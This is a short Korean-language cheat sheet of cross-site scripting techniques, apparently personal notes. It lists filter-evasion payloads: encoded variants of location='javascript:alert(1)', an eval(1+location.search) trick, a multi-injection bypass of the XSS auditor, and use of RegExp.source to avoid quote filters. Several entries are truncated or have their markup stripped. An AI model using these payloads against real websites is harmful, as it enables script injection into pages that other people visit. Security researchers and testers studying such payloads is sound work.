NGA

DOM Element Image, Video, Audio Trick

최신 브라우저에서 Javascript를 통해 img, video, audio 등을 생성하게 되면 데이터를 효율적으로 불러오기 위해 렌더링 되기 전 요청을 보내 데이터를 불러오게 된다. div = document.createElement('div'); div.innerHTML = "" // audio, video 도 가능. // document.body.appendChild(div)

JavaScript Hoisting

Javascript에서는 아래와 같이 함수를 선언하기 전에 함수를 실행할 수 있다. test() function test(){ return "test"; } // result "test"

<script src="data://~~"></script>

Script tag Comments

/* comment */ // comment --> comment

UTF-8 'LINE SEPARATOR' (U+2028)

%E2%80%A8 => \n

Auditor bypass with multi inject XSS

여러 라인에서 XSS 가 발생할 때 XSS auditor 를 우회가능하다. 아래에 예로 살펴보자. ?id="> "> Auditor bypassed!! execute alert!!!!!

XSS location.search trick

location.search 를 이용해 XSS 할 때 주로쓰는 payload 는 eval(location.search.substr(1)) 처럼 "?" 를 제거한다. 하지만 Javscript 3항 조건부 삼항 연산자를 통해서 "?" 를 제거하지 않고 XSS 를 할 수 있다. url: http://example.com?alert(1):0 payload: eval(1+location.search)

XSS location

location="javascript:alert(1)" location="javascript:alert%281%29" // urlencode location="javascript:alert\x281\x29" // hex location="javascript:alert\u00281\u0029" // unicode location="javascript:alert\501\51" // oct location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)" location=location.hash.slice(1,) // #javascript:alert(1) location=location.search.slice(1,) // ?javascript:alert(1) location="javascript:..

RegRegExp.prototype.source

.source 는 정규표현식의 패턴을 문자열로 출력해준다. var regex = /test/i; console.log(regex.source); // return "test" XSS 를 할 때 " ' ` 가 필터링이 되어있으면 사용하자.